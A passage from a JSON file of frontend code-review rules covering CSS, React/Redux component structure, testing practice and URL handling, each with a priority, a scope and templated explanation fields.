example.","priority":"p2","scope":"universal"},{"title":"Don't repeat a keyword in a CSS shorthand that ignores duplicates","rule":"background-position: center center can be written as center; avoid restating the same keyword when the shorthand already implies it.","apiRule":"background-position: center center can be written as center; avoid restating the same keyword when the shorthand already implies it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove duplicated assertion lines in tests","rule":"Identical consecutive assertions add no coverage; keep one. Watch for copy-paste duplication when editing test blocks.","apiRule":"Identical consecutive assertions add no coverage; keep one. Watch for copy-paste duplication when editing test blocks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put spacing on the always-present element, not the optional one","rule":"If an element may be conditionally absent, don't rely on its margin for layout spacing; place the spacing on a guaranteed sibling so the gap survives.","apiRule":"If an element may be conditionally absent, don't rely on its margin for layout spacing; place the spacing on a guaranteed sibling so the gap survives. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put cross-page CSS in a shared stylesheet, not one page's module","rule":"When rules are reused by several sibling pages, extract them into a common stylesheet rather than importing one page's styles into another.","apiRule":"When rules are reused by several sibling pages, extract them into a common stylesheet rather than importing one page's styles into another. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Move related rendering/derivation logic into the component that owns it","rule":"Logic that derives data for a child (building its URL, choosing its heading) should live inside that child component rather than in the parent's render path.","apiRule":"Logic that derives data for a child (building its URL, choosing its heading) should live inside that child component rather than in the parent's render path. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Create components to encapsulate behavior, not only for reuse","rule":"A subcomponent is justified when it cleanly encapsulates a self-contained piece of UI/behavior, even if used once; reusability is a bonus, not the sole criterion.","apiRule":"A subcomponent is justified when it cleanly encapsulates a self-contained piece of UI/behavior, even if used once; reusability is a bonus, not the sole criterion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Configure a HOC through the wrapped component's props, not a second factory argument","rule":"Instead of baking config into a HOC factory's second parameter, read it from props so the HOC stays generic and relocatable to a shared module.","apiRule":"Instead of baking config into a HOC factory's second parameter, read it from props so the HOC stays generic and relocatable to a shared module. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Build share URLs from origin + pathname, not the full href","rule":"Query params in window.location.href can break social sharers; compose share URLs from origin and pathname to drop them.","apiRule":"Query params in window.location.href can break social sharers; compose share URLs from origin and pathname to drop them. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Import a module's default export as a default, not a named import","rule":"If a module has a default export, import it directly (import X from ...) rather than destructuring a named export by the same name.","apiRule":"If a module has a default export, import it directly (import X from ...) rather than destructuring a named export by the same name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't wrap a regex literal in new RegExp()","rule":"A `/.../ ` literal is already a RegExp; wrapping it in `new RegExp(/.../)` is redundant.","apiRule":"A `/.../ ` literal is already a RegExp; wrapping it in `new RegExp(/.../)` is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard a conditional on the actual input that justifies it","rule":"Add the precondition that makes a branch valid (e.g. only filter-out logic runs when an excludeId was supplied) so the branch isn't entered spuriously.","apiRule":"Add the precondition that makes a branch valid (e.g. only filter-out logic runs when an excludeId was supplied) so the branch isn't entered spuriously. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Copy an input object before mutating it inside a function","rule":"Don't mutate a parameter you were handed; spread into a new object first so callers don't see surprising side effects.","apiRule":"Don't mutate a parameter you were handed; spread into a new object first so callers don't see surprising side effects. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not source security-relevant config from mutable window globals","rule":"Endpoint URLs and similar values that affect where requests go should not be read from a window global a script could overwrite; pass them through trusted server-rendered state or routes.","apiRule":"Endpoint URLs and similar values that affect where requests go should not be read from a window global a script could overwrite; pass them through trusted server-rendered state or routes. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"On hover/state changes, override only the properties that change","rule":"When a state variant differs by a single property (e.g. border color), set just that property instead of re-declaring the whole shorthand.","apiRule":"When a state variant differs by a single property (e.g. border color), set just that property instead of re-declaring the whole shorthand. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove CSS properties made redundant by the layout model in use","rule":"Drop properties that have no effect given the element's display mode (e.g. width:100% on a block, float beside display:flex); they only add confusion.","apiRule":"Drop properties that have no effect given the element's display mode (e.g. width:100% on a block, float beside display:flex); they only add confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use one context-appropriate h1 per page, not the same heading everywhere","rule":"Each page should have a single h1 reflecting that page's main content (article title on an article, brand on the home page); do not repeat the logo as h1 across all pages.","apiRule":"Each page should have a single h1 reflecting that page's main content (article title on an article, brand on the home page); do not repeat the logo as h1 across all pages. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Strip duplicate-content query params from canonical URLs","rule":"A canonical URL should not blindly echo the request URL; drop params that only create duplicate content (filters, print flags) while keeping content-identifying ones.","apiRule":"A canonical URL should not blindly echo the request URL; drop params that only create duplicate content (filters, print flags) while keeping content-identifying ones. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name design tokens by semantic role, not by literal value","rule":"Name shared variables after what they mean (disabled-text, brand-primary), not their raw value (beige-13), so changing one usage does not silently affect unrelated ones.","apiRule":"Name shared variables after what they mean (disabled-text, brand-primary), not their raw value (beige-13), so changing one usage does not silently affect unrelated ones. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use semantic landmark elements according to the spec","rule":"Avoid duplicating singleton landmark elements (e.g. multiple <header>s in conflicting roles); pick the semantically correct element.","apiRule":"Avoid duplicating singleton landmark elements (e.g. multiple <header>s in conflicting roles); pick the semantically correct element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Weigh bundle-size cost before adding a heavy dependency","rule":"Before pulling in a large library for a small feature, check the size impact and consider a lighter alternative; document the tradeoff.","apiRule":"Before pulling in a large library for a small feature, check the size impact and consider a lighter alternative; document the tradeoff. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make action/event type strings self-identifying","rule":"Prefix action type string values with their domain so they are recognizable in devtools and logs.","apiRule":"Prefix action type string values with their domain so they are recognizable in devtools and logs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not block a PR over equivalent stylistic choices","rule":"If two approaches are functionally equivalent and equally readable, don't force your style on the author; reserve change requests for issues of correctness, separation, or testability.","apiRule":"If two approaches are functionally equivalent and equally readable, don't force your style on the author; reserve change requests for issues of correctness, separation, or testability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep non-rendering logic classes out of the view/component layer","rule":"A plain class with no JSX output is a helper, not a component; place it in a helpers/utils module.","apiRule":"A plain class with no JSX output is a helper, not a component; place it in a helpers/utils module. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place reusable code in a shared location, not an app-specific folder","rule":"If a helper/component is generic, move it to a common directory and parameterize app-specific bits instead of leaving it under one app's namespace.","apiRule":"If a helper/component is generic, move it to a common directory and parameterize app-specific bits instead of leaving it under one app's namespace. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer flex alignment utilities over absolute-positioning hacks","rule":"In a flex layout, use alignment classes/utilities (align-right) instead of position:absolute hacks to place children.","apiRule":"In a flex layout, use alignment classes/utilities (align-right) instead of position:absolute hacks to place children. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Assert behavior and intent, not brittle exact config snapshots","rule":"Write tests that check the meaningful outcome (e.g. output contains key) instead of asserting an exact serialized config that breaks on any reorder.","apiRule":"Write tests that check the meaningful outcome (e.g. output contains key) instead of asserting an exact serialized config that breaks on any reorder. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Spell framework lifecycle method names exactly","rule":"A misspelled lifecycle method (e.g. componentWillUnMount) silently never runs; match the framework's exact casing.","apiRule":"A misspelled lifecycle method (e.g. componentWillUnMount) silently never runs; match the framework's exact casing. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Follow language conventions for namespace naming","rule":"Don't UPPERCASE a TypeScript namespace; use conventional casing, or a class of static methods if you want grouped static functions.","apiRule":"Don't UPPERCASE a TypeScript namespace; use conventional casing, or a class of static methods if you want grouped static functions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer :last-child over a hardcoded :nth-child index","rule":"Target the final element with :last-child rather than a brittle :nth-child(N) that breaks when the count changes.","apiRule":"Target the final element with :last-child rather than a brittle :nth-child(N) that breaks when the count changes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make props optional with sensible defaults rather than forcing callers to pass them","rule":"Declare configuration props optional and supply defaultProps so consumers only override what they need.","apiRule":"Declare configuration props optional and supply defaultProps so consumers only override what they need. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Guard the positive branch instead of early-returning from a void function","rule":"Prefer wrapping the action in a positive condition over returning early from a void function, for readability.","apiRule":"Prefer wrapping the action in a positive condition over returning early from a void function, for readability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Import library SCSS via module resolution, not raw node_modules paths","rule":"Reference third-party SCSS with the tilde/module-resolution syntax instead of hardcoding ./node_modules/ paths.","apiRule":"Reference third-party SCSS with the tilde/module-resolution syntax instead of hardcoding ./node_modules/ paths. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep prop-change lifecycle hooks limited to reacting to prop changes","rule":"In componentWillReceiveProps (or equivalent), compare props and trigger updates; keep component logic out and share repeated checks in the called method.","apiRule":"In componentWillReceiveProps (or equivalent), compare props and trigger updates; keep component logic out and share repeated checks in the called method. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Encode dynamic values before placing them in a URL","rule":"Wrap user-supplied or dynamic values with encodeURIComponent when building URLs to avoid illegal characters.","apiRule":"Wrap user-supplied or dynamic values with encodeURIComponent when building URLs to avoid illegal characters. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Specify exactly which rule a lint-disable comment suppresses","rule":"Use targeted disable-rule comments naming the specific rule rather than blanket disables, so the suppression's scope and reason are clear.","apiRule":"Use targeted disable-rule comments naming the specific rule rather than blanket disables, so the suppression's scope and reason are clear. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Raise high-impact technical decisions with the team before implementing","rule":"For changes with broad impact (new dependencies, cross-cutting patterns), seek the team's input in a shared channel before building, rather than implementing and having a single reviewer weigh in afterward.","apiRule":"For changes with broad impact (new dependencies, cross-cutting patterns), seek the team's input in a shared channel before building, rather than implementing and having a single reviewer weigh in afterward. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a single state class rather than duplicating active and selected variants","rule":"Avoid maintaining two near-identical state classes/props when one expressive class suffices; collapse redundant active/selected duplication.","apiRule":"Avoid maintaining two near-identical state classes/props when one expressive class suffices; collapse redundant active/selected duplication. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name an action's primary data field payload","rule":"Once an action follows the payload/meta convention, rename its domain field to payload for consistency instead of keeping an ad-hoc property name.","apiRule":"Once an action follows the payload/meta convention, rename its domain field to payload for consistency instead of keeping an ad-hoc property name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Put non-domain action fields under a meta key","rule":"Follow the Flux Standard Action convention: keep the action's domain data in payload and put cross-cutting fields (like persistence hints) under meta, rather than mixing them at the top level.","apiRule":"Follow the Flux Standard Action convention: keep the action's domain data in payload and put cross-cutting fields (like persistence hints) under meta, rather than mixing them at the top level. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Key store collections by id to enable caching and avoid refetching","rule":"Store fetched-per-key data in a keyed map (e.g. { sport: [...], news: [...] }) so previously loaded data can be reused and works cleanly with memoized selectors.","apiRule":"Store fetched-per-key data in a keyed map (e.g. { sport: [...], news: [...] }) so previously loaded data can be reused and works cleanly with memoized selectors. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Source connected components' data from the store, not local fetch state","rule":"In a Redux-connected feature, derive a component's data from the store rather than fetching into local component state, so it integrates with caching and shared state.","apiRule":"In a Redux-connected feature, derive a component's data from the store rather than fetching into local component state, so it integrates with caching and shared state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Declare config keys in the type definition so IDE/type tooling resolves them","rule":"Add new configuration fields to the typed config definition (not just the runtime config object) so editors get hints and type checking covers their use.","apiRule":"Add new configuration fields to the typed config definition (not just the runtime config object) so editors get hints and type checking covers their use. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extend the base config type for non-generic keys instead of polluting it","rule":"Add feature-specific config keys via an extension/derived interface rather than appending them to a generic shared config type.","apiRule":"Add feature-specific config keys via an extension/derived interface rather than appending them to a generic shared config type. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Exclude pure type/interface files from coverage requirements","rule":"Mark files that contain only type or interface declarations (no executable logic) as coverage-ignored, since coverage on them is meaningless.","apiRule":"Mark files that contain only type or interface declarations (no executable logic) as coverage-ignored, since coverage on them is meaningless. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Write test descriptions that clearly state the expected behavior","rule":"Phrase it/test titles as readable behavior statements (e.g. 'should not render buttons'), avoiding grammatically broken or ambiguous descriptions.","apiRule":"Phrase it/test titles as readable behavior statements (e.g. 'should not render buttons'), avoiding grammatically broken or ambiguous descriptions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Render the connected container when a test asserts on it","rule":"When a page renders a connected container, import and assert against that container in tests rather than the unconnected presentational component name.","apiRule":"When a page renders a connected container, import and assert against that container in tests rather than the unconnected presentational component name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Write test-generated artifacts to a dedicated, gitignored location","rule":"Direct files produced during tests (caches, temp output) to a separate test-only path that is gitignored, so they never collide with or pollute application artifacts.","apiRule":"Direct files produced during tests (caches, temp output) to a separate test-only path that is gitignored, so they never collide with or pollute application artifacts. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep unit tests independent of the application's runtime config","rule":"Inject literals or fixtures into the unit under test instead of importing the app config, so tests don't break when config changes and dependencies stay decoupled.","apiRule":"Inject literals or fixtures into the unit under test instead of importing the app config, so tests don't break when config changes and dependencies stay decoupled. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't build a Set solely to test a single membership","rule":"If you only need to check whether one item already exists, use array find/some rather than constructing a Set for one lookup.","apiRule":"If you only need to check whether one item already exists, use array find/some rather than constructing a Set for one lookup. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not clone an object before an operation that does not mutate it","rule":"Skip defensive clones (e.g. before reduce, find, map) when the subsequent operation is non-mutating and the clone serves no purpose.","apiRule":"Skip defensive clones (e.g. before reduce, find, map) when the subsequent operation is non-mutating and the clone serves no purpose. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep filtering logic out of low-level data providers","rule":"A data provider should accept the inputs it queries on and return raw results; perform selection/filtering one level up rather than baking it into the provider.","apiRule":"A data provider should accept the inputs it queries on and return raw results; perform selection/filtering one level up rather than baking it into the provider. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Map variants to assets via a data-derived class rather than per-variant branches","rule":"Generate a className from the item's id/name and resolve the asset in CSS, so adding or removing a variant degrades gracefully instead of breaking compilation.","apiRule":"Generate a className from the item's id/name and resolve the asset in CSS, so adding or removing a variant degrades gracefully instead of breaking compilation. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid SHOUTING uppercase names for non-constant identifiers","rule":"Reserve all-caps names for true constants/enums; use normal casing for action types, reducer values, and similar identifiers when uppercase has no semantic meaning.","apiRule":"Reserve all-caps names for true constants/enums; use normal casing for action types, reducer values, and similar identifiers when uppercase has no semantic meaning. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the narrowest selector that achieves the override","rule":"Replace a long chain of state selectors with the single condition that actually matters when nothing else needs covering (e.g. :not(.active):hover instead of listing every pseudo-state).","apiRule":"Replace a long chain of state selectors with the single condition that actually matters when nothing else needs covering (e.g. :not(.active):hover instead of listing every pseudo-state). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Group items into a keyed map before rendering instead of returning nested node arrays","rule":"To render items grouped by some key (e.g. by day), first reduce them into a keyed object, then render each group; avoid returning a hard-to-reason-about matrix of nodes.","apiRule":"To render items grouped by some key (e.g. by day), first reduce them into a keyed object, then render each group; avoid returning a hard-to-reason-about matrix of nodes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a date library helper for interval/range checks","rule":"Express 'is now within [start, end]' with a date-library helper (e.g. isWithinInterval) instead of chaining manual new Date() comparisons.","apiRule":"Express 'is now within [start, end]' with a date-library helper (e.g. isWithinInterval) instead of chaining manual new Date() comparisons. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use arrow functions for inline callbacks","rule":"Write short inline callbacks as arrow functions rather than function expressions for consistency and brevity.","apiRule":"Write short inline callbacks as arrow functions rather than function expressions for consistency and brevity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return a transformed value directly instead of holding it in a needless intermediate","rule":"When a value is computed only to be returned, return it directly; e.g. don't assign Array.sort()'s in-place result to a new variable just to return it.","apiRule":"When a value is computed only to be returned, return it directly; e.g. don't assign Array.sort()'s in-place result to a new variable just to return it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Inline a className that is only ever a single constant class","rule":"Don't introduce a local variable to hold a className that never varies; reference the class directly in the element.","apiRule":"Don't introduce a local variable to hold a className that never varies; reference the class directly in the element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Initialize state by assignment in the constructor, never via setState","rule":"Set the initial state with a direct this.state assignment; calling setState in the constructor is a no-op for the first render and is incorrect.","apiRule":"Set the initial state with a direct this.state assignment; calling setState in the constructor is a no-op for the first render and is incorrect. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Remove a constructor that only calls super","rule":"Delete constructors that do nothing but forward props to super(); they add noise without behavior.","apiRule":"Delete constructors that do nothing but forward props to super(); they add noise without behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep user-facing text in markup, not in CSS content properties","rule":"Put visible labels and text in the template/JSX so it is searchable, translatable, and accessible, rather than injecting it via the CSS content property.","apiRule":"Put visible labels and text in the template/JSX so it is searchable, translatable, and accessible, rather than injecting it via the CSS content property. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: 